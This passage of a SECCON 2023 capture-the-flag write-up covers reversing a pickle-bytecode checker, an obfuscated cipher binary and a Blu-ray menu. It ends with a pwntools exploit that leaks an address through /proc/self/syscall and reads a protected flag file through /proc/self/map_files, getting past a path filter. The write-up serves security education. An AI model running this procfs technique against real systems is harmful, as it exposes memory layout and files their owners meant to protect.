MEMOIZE (as 15) ; memo[15] = int.__xor__ 649: 0 POP ; [ ] 650: I INT 1244422970072434993 ; [ 1244422970072434993 ] 671: \x94 MEMOIZE (as 16) ; memo[16] = 1244422970072434993 (iv) 672: 0 POP ; [ ] 673: M BININT2 0 ; [ 0 ] 676: p PUT 7 ; memo[7] = 0 679: 0 POP ; [ ] 680: g GET 13 ; [ lst2.append ] 684: \x8c SHORT_BINUNICODE 'builtins' ; [ lst2.append, 'builtins' ] 694: \x8c SHORT_BINUNICODE 'pow' ; [ lst2.append, 'builtins', 'pow' ] 699: \x93 STACK_GLOBAL ; [ lst2.append, builtins.pow ] 700: g GET 15 ; [ lst2.append, builtins.pow, int.__xor__ ] 704: g GET 10 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__ ] 708: g GET 7 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__, i ] 711: \x85 TUPLE1 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__, (i,) ] 712: R REDUCE ; [ lst2.append, builtins.pow, int.__xor__, lst[i] ] 713: g GET 16 ; [ lst2.append, builtins.pow, int.__xor__, lst[i], iv ] 717: \x86 TUPLE2 ; [ lst2.append, builtins.pow, int.__xor__, (lst[i], iv) ] 718: R REDUCE ; [ lst2.append, builtins.pow, lst[i] ^ iv ] 719: I INT 65537 ; [ lst2.append, builtins.pow, lst[i] ^ iv, 65537 ] 726: I INT 18446744073709551557 ; [ lst2.append, builtins.pow, lst[i] ^ iv, 65537, 18446744073709551557 ] 748: \x87 TUPLE3 ; [ lst2.append, builtins.pow, (lst[i] ^ iv, 65537, 18446744073709551557) ] 749: R REDUCE ; [ lst2.append, pow(lst[i] ^ iv, 65537, 18446744073709551557) ] 750: \x85 TUPLE1 ; [ lst2.append, (pow(lst[i] ^ iv, 65537, 18446744073709551557),) ] 751: R REDUCE ; [ lst2.append(pow(lst[i] ^ iv, 65537, 18446744073709551557)) ] 752: 0 POP ; [ ] 753: g GET 14 ; [ lst2.__getitem__ ] 757: g GET 7 ; [ lst2.__getitem__, i ] 760: \x85 TUPLE1 ; [ lst2.__getitem__, (i,) ] 761: R REDUCE ; [ lst2[i] ] 762: p PUT 16 ; memo[16] = lst2[i] 766: 0 POP ; [ ] 767: g GET 2 ; [ f.seek ] 770: g GET 3 ; [ f.seek, int.__add__ ] 773: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ] 776: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ] 779: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ] 782: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ] 785: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ] 788: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ] 789: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ] 790: p PUT 7 ; memo[7] = i+1 793: M BININT2 8 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 8 ] 796: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 8) ] 797: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 8 ] 798: M BININT2 131 ; [ f.seek, int.__add__, int.__mul__, i+1 == 8, 131 ] 801: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 8, 131) ] 802: R REDUCE ; [ f.seek, int.__add__, (i+1 == 8) * 131 ] 803: M BININT2 679 ; [ f.seek, int.__add__, (i+1 == 8) * 131, 679 ] 806: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 8) * 131, 679) ] 807: R REDUCE ; [ f.seek, (i+1 == 8) * 131 + 679 ] 808: \x85 TUPLE1 ; [ f.seek, ((i+1 == 8) * 131 + 679,) ] 809: R REDUCE ; [ f.seek((i+1 == 8) * 131 + 679) ] 810: 0 POP ; [ ] ``` In this loop, each list value is xored with variable `iv` (initially it is 1244422970072434993, later it is updated with previous ciphertext, like in CBC block cipher mode). Then it is encrypted with RSA-like algorithm (`n` = 18446744073709551557, `e` = 65537). Results are appended to a new list. ### Checking the result ```python 811: g GET 0 ; [ builtins.getattr ] 814: g GET 12 ; [ builtins.getattr, lst2 ] 818: \x8c SHORT_BINUNICODE '__eq__' ; [ builtins.getattr, lst2, '__eq__' ] 826: \x86 TUPLE2 ; [ builtins.getattr, (lst2, '__eq__') ] 827: R REDUCE ; [ lst2.__eq__ ] 828: ( MARK 829: I INT 8215359690687096682 850: I INT 1862662588367509514 871: I INT 8350772864914849965 892: I INT 11616510986494699232 914: I INT 3711648467207374797 935: I INT 9722127090168848805 956: I INT 16780197523811627561 978: I INT 18138828537077112905 1000: l LIST (MARK at 828) ; [ lst2.__eq__, [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] ] 1001: \x85 TUPLE1 ; [ lst2.__eq__, ([8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905],) ] 1002: R REDUCE ; [ lst2 == [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] ] 1003: . STOP ``` Finally, the result is compared against a list of hard-coded values. ### Solving Now that we know exactly what it does, we can write a solver script: ```python= wanted = [ 8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905, ] e = 65537 n = 18446744073709551557 phi = n - 1 # n is prime d = pow(e, -1, phi) iv = 1244422970072434993 flag = b'' for ct in wanted: flag += int.to_bytes(pow(ct, d, n) ^ iv, 8, 'little') iv = ct print(flag) ``` After running it, we get the flag: ``` SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??} ``` ## Xuyao We're provided with native x86_64 Linux executable, which asks for message input. After that it prints "Wrong...", so we can expect some validation we need to reverse. ### Initial analysis Let's throw the binary into Ghidra and see what we're dealing with. Right off the bat, we can see it uses some kind of obfuscation, where local procedure data is located in `mmap`-ed memory and accessed via an array of descriptor structures containing offsets and sizes of each chunk. For example, in `main` we can see all data is presented by 1-byte chunks, and there's logic checking their sizes when message is copied into there. ![](https://hackmd.io/_uploads/HkuZQkr1p.png) Following the code, we can see the message is padded with usual PKCSv1.5 padding to 16-byte boundary, then `encrypt`-ed, and checked against static buffer `enc`. ![](https://hackmd.io/_uploads/SJp8VySkT.png) ### Encryption analysis As all other functions, `encrypt` is obfuscated, and is rather bothersome to look at. In a nutshell, it uses some static buffers `cat` and `fish` to somehow initialize itself. It also calls `ks` (key schedule?) and `encrypt_block` functions. #### ks ![](https://hackmd.io/_uploads/rJ5l8yHyT.png) This one is pretty small, but it calls two other functions, so let's look at those: #### tnls ![](https://hackmd.io/_uploads/HyPwIyBJT.png) This one is pretty small, and does SBOX substitution for each byte of a 32-bit value. Apparently, it uses the same SBOX table as AES, which is probably a red herring to trick people into thinking it is some kind of white box AES implementation (and it worked for a moment 🤦‍♂️). Equivalent code: ```python= def tnls(x): r = 0 for i in range(0, 32, 8): r |= sbox[(x >> i) & 0xff] << i return r ``` #### kls ![](https://hackmd.io/_uploads/ryFw_1r1p.png) This one is also pretty straightforward, and does some xors and rotations on a 32-bit input value. Equivalent code: ```python= def kls(x): return x ^ rol(x, 11) ^ ror(x, 7) ``` #### encrypt_block This one is also a bit tedious to look at, but in a nutshell it receives a block of data (4 32-bit values), 32 32-bit subkeys and output pointer, swaps endianness and performs 32 rounds of calling function `r` for each subkey. Equivalent code: ```python= def encrypt_block(block, subkeys): assert len(block) == 16 block = array('I', block) block.byteswap() block = block.tolist() for i in range(32): block = [block[1], block[2], block[3], r(block, subkeys[i])] result = array('I', block[::-1]) result.byteswap() return result.tobytes() ``` #### r ![](https://hackmd.io/_uploads/BykcqJBkp.png) This one is a bit hard to read, but it basically xors 3 last block values with subkey, calls `es` on that and xors the result with first block value. Equivalent code: ```python= def r(block, subkey): return es(block[1] ^ block[2] ^ block[3] ^ subkey) ^ block[0] ``` #### es ![](https://hackmd.io/_uploads/B1RZsyH1T.png) This one looks similar to `ks`, and also calls `tnls` substitution first. But the second step is a bit different. #### els ![](https://hackmd.io/_uploads/HkPnskSkp.png) Also pretty similar to `kls`, a bunch of shifts and xors. Eqivalent code: ```python= def els(x): return x ^ rol(x, 3) ^ rol(x, 14) ^ rol(x, 15) ^ rol(x, 9) ``` ### Solving Now that we know all required pieces, we can write a `decrypt_block` function to undo the encryption: ```python= def decrypt_block(block, subkeys): assert len(block) == 16 block = array('I', block) block.byteswap() block = block.tolist()[::-1] for i in range(31, -1, -1): block = [es(block[0] ^ block[1] ^ block[2] ^ subkeys[i]) ^ block[3], block[0], block[1], block[2]] result = array('I', block) result.byteswap() return result.tobytes() ``` What we're missing now, is subkeys. But we're lazy, so let's just dump them with `gdb` from a runing process: ```c $ gdb ./xuyao > b encrypt_block > r Message: AAAAAAAAAAA > x/64gx $rsi 0x7fffffffcde0: 0x00007ffff7fc1000 0x0000000400000044 0x7fffffffcdf0: 0x00007ffff7fc1000 0x0000000400000048 0x7fffffffce00: 0x00007ffff7fc1000 0x000000040000004c 0x7fffffffce10: 0x00007ffff7fc1000 0x0000000400000050 0x7fffffffce20: 0x00007ffff7fc1000 0x0000000400000054 0x7fffffffce30: 0x00007ffff7fc1000 0x0000000400000058 0x7fffffffce40: 0x00007ffff7fc1000 0x000000040000005c 0x7fffffffce50: 0x00007ffff7fc1000 0x0000000400000060 0x7fffffffce60: 0x00007ffff7fc1000 0x0000000400000064 0x7fffffffce70: 0x00007ffff7fc1000 0x0000000400000068 0x7fffffffce80: 0x00007ffff7fc1000 0x000000040000006c 0x7fffffffce90: 0x00007ffff7fc1000 0x0000000400000070 0x7fffffffcea0: 0x00007ffff7fc1000 0x0000000400000074 0x7fffffffceb0: 0x00007ffff7fc1000 0x0000000400000078 0x7fffffffcec0: 0x00007ffff7fc1000 0x000000040000007c 0x7fffffffced0: 0x00007ffff7fc1000 0x0000000400000080 0x7fffffffcee0: 0x00007ffff7fc1000 0x0000000400000084 0x7fffffffcef0: 0x00007ffff7fc1000 0x0000000400000088 0x7fffffffcf00: 0x00007ffff7fc1000 0x000000040000008c 0x7fffffffcf10: 0x00007ffff7fc1000 0x0000000400000090 0x7fffffffcf20: 0x00007ffff7fc1000 0x0000000400000094 0x7fffffffcf30: 0x00007ffff7fc1000 0x0000000400000098 0x7fffffffcf40: 0x00007ffff7fc1000 0x000000040000009c 0x7fffffffcf50: 0x00007ffff7fc1000 0x00000004000000a0 0x7fffffffcf60: 0x00007ffff7fc1000 0x00000004000000a4 0x7fffffffcf70: 0x00007ffff7fc1000 0x00000004000000a8 0x7fffffffcf80: 0x00007ffff7fc1000 0x00000004000000ac 0x7fffffffcf90: 0x00007ffff7fc1000 0x00000004000000b0 0x7fffffffcfa0: 0x00007ffff7fc1000 0x00000004000000b4 0x7fffffffcfb0: 0x00007ffff7fc1000 0x00000004000000b8 0x7fffffffcfc0: 0x00007ffff7fc1000 0x00000004000000bc 0x7fffffffcfd0: 0x00007ffff7fc1000 0x00000004000000c0 > x/32wx 0x00007ffff7fc1000+0x44 0x7ffff7fc1044: 0xf6067814 0xed73cb7e 0x1583a8b2 0x0dde8d93 0x7ffff7fc1054: 0x23e2374b 0x40b83c72 0x0b3f811a 0xd6e7a993 0x7ffff7fc1064: 0x2622de7c 0xc581dcae 0xa906524c 0xdb4f2cc1 0x7ffff7fc1074: 0x0ddb3477 0x8c1a92a4 0x3bd711c0 0x1bb16503 0x7ffff7fc1084: 0x00acd720 0x2735f2d0 0x9a9300fe 0xfb2556a7 0x7ffff7fc1094: 0xcbe1fe58 0xc03db8c9 0xf77cb701 0x0a1f85ae 0x7ffff7fc10a4: 0x14dd27dc 0xe1a5e3a9 0x41d1f9ee 0xfe6afce7 0x7ffff7fc10b4: 0xd80eac32 0xf43efead 0x6475d80f 0x38a310d6 ``` Now we can copy those values and plug them into the final script: ```python= from Crypto.Util.Padding import unpad from array import array sbox = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) def rol(x, n): return (x >> (32 - n)) | (x << n) & 0xffffffff def tnls(x): r = 0 for i in range(0, 32, 8): r |= sbox[(x >> i) & 0xff] << i return r def els(x): return x ^ rol(x, 3) ^ rol(x, 14) ^ rol(x, 15) ^ rol(x, 9) def es(x): return els(tnls(x)) def decrypt_block(block, subkeys): assert len(block) == 16 block = array('I', block) block.byteswap() block = block.tolist()[::-1] for i in range(31, -1, -1): block = [es(block[0] ^ block[1] ^ block[2] ^ subkeys[i]) ^ block[3], block[0], block[1], block[2]] result = array('I', block) result.byteswap() return result.tobytes() enc = bytes.fromhex('fe 60 a8 c0 3b fe bc 66 fc 9a 9b 31 9a d8 03 bb a9 e1 56 fc fc 11 9f 89 5f 4d 9f e0 9f ae 2a cf 5e 73 cb ec 3f ff b9 d1 99 44 1b 9a 79 79 ec d1 b4 fd ea 2b e2 f1 1a 70 76 3c 2e 7f 3f 3b 7b 66 a3 4b 1b 5c 0f be dd 98 5a 5b d0 0a 3d 7e 2c 10 56 2a 10 87 5d d9 b9 7f 3e 2e 86 b7 17 04 df b1 27 c4 47 e2 d9 7a 9a 48 7c db c6 1d 3c 00 a3 21') # dumped with gdb subkeys = [ 0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993, 0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503, 0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae, 0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6, ] plaintext = b'' for i in range(0, len(enc), 16): plaintext += decrypt_block(enc[i:i+16], subkeys) print(unpad(plaintext, 16)) ``` And this gives us the flag: ``` SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2} ``` ## Perfect Blu We're given an `iso` image containing BDMV Blu-Ray rip. Upon opening with VLC, it shows a keyboard-like menu to enter the flag. ![](https://hackmd.io/_uploads/ByMXBYHJT.png) ### Initial analysis To open BDMV structure, we'll use [BDedit](https://bdedit.pel.hu) software (download on the site seems broken, but it can be downloaded from some mirror). ![](https://hackmd.io/_uploads/Hy4pUYHyT.png) We're interested in the Menu section, so we go to the corresponding tab and load menu from `STREAMS\00000.m2ts`. ![](https://hackmd.io/_uploads/r1IKPKBy6.png) We see a bunch of buttons in top section, each described by (x, y) coordinates and some commands (center left list). For most of them, there's `Call Object 48` instruction, but one with coordinates (453, 672) has `Call Object 1`. Let's quickly write a helper function to translate coordinates into keyboard character: ```python= KEYS = [ '1234567890', 'QWERTYUIOP', 'ASDFGHJKL{', 'ZXCVBNM_-}', ] def xy_to_key(x, y): x = (x - 315) + 50 y = (y - 413) + 50 return KEYS[y // 130][x // 137] ``` We can now see that `xy_to_key(453, 672)` is letter `S`, as in `SECCON`. We're onto something! Searching for command code in hex editor reveals there's button info followed by the commands in `m2ts` file, and we can extract coordinates from there: ![](https://hackmd.io/_uploads/SJg5FYBJa.png) ### Solving Now that we know what to look for, we can craft a script to automate it. After dealing with various caveats, like variable struct length, we come up with a quick and dirty script like this: ```python= import struct KEYS = [ '1234567890', 'QWERTYUIOP', 'ASDFGHJKL{', 'ZXCVBNM_-}', ] def xy_to_key(x, y): x = (x - 315) + 50 y = (y - 413) + 50 return KEYS[y // 130][x // 137] def get_button(path, index): print('processing', path) with open(path, 'rb') as f: data = f.read() pattern = struct.pack('>III', 0x21820000, index + 1, 0) pos = data.find(pattern) if pos == -1: # dirty hack for one corner case pattern = struct.pack('>II', 0x21820000, 0) pos = data.index(pattern) pos = data[:pos].rindex(b'\x00\x04\x00\x00\x00\x00') while True: x, y = struct.unpack_from('>HH', data, pos) if x == 0 and y == 0: return None # hacky way to find coordinates' location if 315 <= x <= 1551 and 413 <= y <= 802: break pos -= 1 return xy_to_key(x, y) flag = '' for i in range(47): c = get_button(f'unpacked/BDMV/STREAM/{i:05}.m2ts', i) print(i, c) flag += c print(flag) ``` And a few moments later we get the flag: ``` SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV} ``` # Misc ## readme 2023 Description: > Can you read the flag? > >author: ptr-yudai ### Challenge Here is the source of the challenge: ```python import mmap import os import signal signal.alarm(60) try: f = open("./flag.txt", "r") mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ) except FileNotFoundError: print("[-] Flag does not exist") exit(1) while True: path = input("path: ") if 'flag.txt' in path: print("[-] Path not allowed") exit(1) elif 'fd' in path: print("[-] No more fd trick ;)") exit(1) with open(os.path.realpath(path), "rb") as f: print(f.read(0x100)) ``` ### Solution We cannot directly access `flag.txt` nor use the `/proc/self/fd`. We also get `0x100` bytes of output so this is not enough to sue `/proc/self/maps` and `/proc/self/map_files`. However, `/proc/self/syscall` also leaks an address: ```log $ cat /proc/self/syscall 0 0x3 0x7f2e359a5000 0x20000 0x22 0x7f2e359a4010 0x0 0x7ffce7259b28 0x7f2e358b6fd2 ``` The page that corresponds to the leaked address is at a constant from the page where the file is mmaped and this offset is `0xEA000`. So, we will use that to guess the address where the files is mmaped: ```python= from pwn import * if args['REMOTE']: io = remote('readme-2023.seccon.games', 2023) else: io = remote('127.0.0.1', 2023) io.recvuntil(b'path: ') io.sendline(b'/proc/self/syscall') addr = int(io.recvline().decode().strip().split()[-1][:-3], 16) page = addr & 0xFFFFFFFFFFFFF000 flag = page+0xEA000 start=hex(flag)[2:] end=hex(flag+0x1000)[2:] io.sendline(f"/proc/self/map_files/{start}-{end}") flag_file = io.recvline() print(flag_file) ``` And the flag is `SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}` Thank you for the great CTF!